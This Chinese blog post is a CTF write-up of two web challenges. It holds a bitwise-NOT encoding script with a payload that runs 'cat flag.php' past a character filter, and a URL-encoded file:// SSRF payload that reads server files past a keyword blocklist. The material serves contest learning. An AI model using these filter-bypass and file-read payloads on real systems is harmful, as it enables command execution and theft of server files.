“第五空间”智能安全大赛-web部分writeup

原创

越今朝! 于 2020-06-26 17:04:15 发布 912 收藏

分类专栏： CTF 文章标签： php 安全

本文链接：https://blog.csdn.net/qq_45372008/article/details/106970879

前两天和小伙伴打了个比赛，记录下（真菜。。）

“第五空间”智能安全大赛-web部分wp

- ## hate-php

题目限制如下

```
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
        die('You are too good for me');
}
```

将基本的字符都过滤了，此时想到无字母取反webshell

写个取反脚本

```
#__coding: utf-8__
def qufan(shell):
 for i in shell:
  hexbit=''.join(hex(~(-(256-ord(i)))))
  print (hexbit.replace('0x','%'),end='')
qufan('system')
print(' ')
qufan('cat flag.php')
```

payload:

```
?code=(~(%8c%86%8c%8b%9a%92))(~(%9c%9e%8b%df%99%93%9e%98%d1%8f%97%8f))
```

- ## do you konw

审计源码，考察ssrf

重点读两处

```
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
                die("no hacker");
}
```

```
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
                die('我什么都没有~');
}
if($a_key==$b_key)
{
        die("trick");
}

if($a_value!==$b_value)
{
                if(count($_GET)!=1)
                {
                                die('be  it  so');
                }
}
```


思路：用协议读取flag.php文件

url编码绕过第一处限制且由于第一个变量和第二个变量强类型比较所以它们值完全相等

PS：如果两个变量值不相等，就会判断我们传参的个数，由于传入的参数必定是两个，所以唯一的方法就是让两个变量键值相等；

php类型比较

构造payload

```
?p=%66%69%6c%65:///var/www/html/%66%6c%61%67.php&q=%66%69%6c%65:///var/www/html/%66%6c%61%67.php
```

此处要求用file协议去读

```
$ch  =  curl_init();
        if  ($type  !=  'file')  {
                #add_debug_log($param,  'post_data');
                //  设置超时
                curl_setopt($ch,  CURLOPT_TIMEOUT,  30);
        }  else  {
                //  设置超时
                curl_setopt($ch,  CURLOPT_TIMEOUT,  180);
        }
```

其余题目等师傅们的wp就去复现一波